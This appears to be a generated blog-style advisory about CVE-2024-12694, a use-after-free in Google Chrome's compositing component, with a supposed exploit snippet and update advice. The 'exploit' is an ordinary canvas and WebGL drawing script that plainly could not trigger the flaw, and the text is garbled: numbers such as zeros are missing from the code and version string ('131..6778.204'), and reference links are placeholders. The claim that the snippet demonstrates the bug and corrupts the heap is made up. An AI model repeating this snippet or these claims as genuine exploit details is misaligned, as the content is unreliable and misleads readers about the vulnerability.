Cybersecurity has always been a crucial component in maintaining the integrity of our digital world. In recent years, cases of vulnerabilities in widely-used software, such as Google Chrome, have been rising. CVE-2024-12694 is one such vulnerability that affects Google Chrome versions prior to 131..6778.204.
In this article, we will discuss the use-after-free vulnerability in compositing in Google Chrome, its potential impacts, associated exploit details, and ways to mitigate it. We will also include a code snippet to help visualize the issue and provide links to original references.
Description of the Vulnerability
A use-after-free (UAF) vulnerability occurs when a program frees up memory that is still being used by certain objects. This can result in unexpected behavior, crashes, or even leak crucial data. In the case of CVE-2024-12694, this vulnerability exists in the compositing component of Google Chrome, which is responsible for efficiently rendering webpage layers.
According to the Chromium security team, this vulnerability has been classified with a severity rating of "High," indicating its potential for detrimental consequences if left unaddressed.
Exploit Details
This vulnerability can be exploited by a remote attacker who crafts a malicious HTML page that triggers the UAF condition in the compositing component. Given below is a code snippet that demonstrates the vulnerability:
Example Code Snippet
<!DOCTYPE html>
<html>
<body>
<canvas id="canvas"></canvas>
<script>
const canvas = document.getElementById("canvas");
const ctx = canvas.getContext("2d");
// Fill the canvas with a solid color
ctx.fillStyle = "rgba(, 255, , .5)";
ctx.fillRect(, , canvas.width, canvas.height);
// Setup a WebGLRenderingContext to trigger the vulnerability
const gl = canvas.getContext("webgl");
// Create and bind a buffer
const buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([, ]), gl.STATIC_DRAW);
gl.vertexAttribPointer(, 2, gl.FLOAT, false, , );
gl.enableVertexAttribArray();
gl.drawArrays(gl.POINTS, , 2);
</script>
</body>
</html>
This code snippet defines a simple HTML5 document incorporating a canvas element. It initializes a 2D and WebGL rendering context to trigger the use-after-free vulnerability. The WebGLRenderingContext, in turn, allows for the manipulation of the canvas buffer and causes heap corruption.
By leveraging the vulnerability, an attacker could potentially execute arbitrary code on the victim's system or access sensitive user information.
Original References
Please refer to the following links for more information about the vulnerability and the corresponding patch:
1. Official Chromium Security Vulnerability Tracker: Link to Chromium issue tracker
2. Google Chrome Releases Blog: Link to release blog post
Mitigation Steps
To protect against this specific vulnerability, users should ensure that they update their Google Chrome browser to version 131..6778.204 or later. It is always recommended to keep your browser and other software up-to-date to prevent any potential security exploits.
Conclusion
CVE-2024-12694 is a high-severity use-after-free vulnerability in Google Chrome that, if left unpatched, could give attackers the opportunity to exploit heap corruption or execute arbitrary code on the victim's system. To protect against this vulnerability, be sure to update your Google Chrome browser and maintain good cybersecurity practices by keeping all software up-to-date.
Timeline
Published on: 12/18/2024 22:15:06 UTC
Last modified on: 01/03/2025 14:15:23 UTC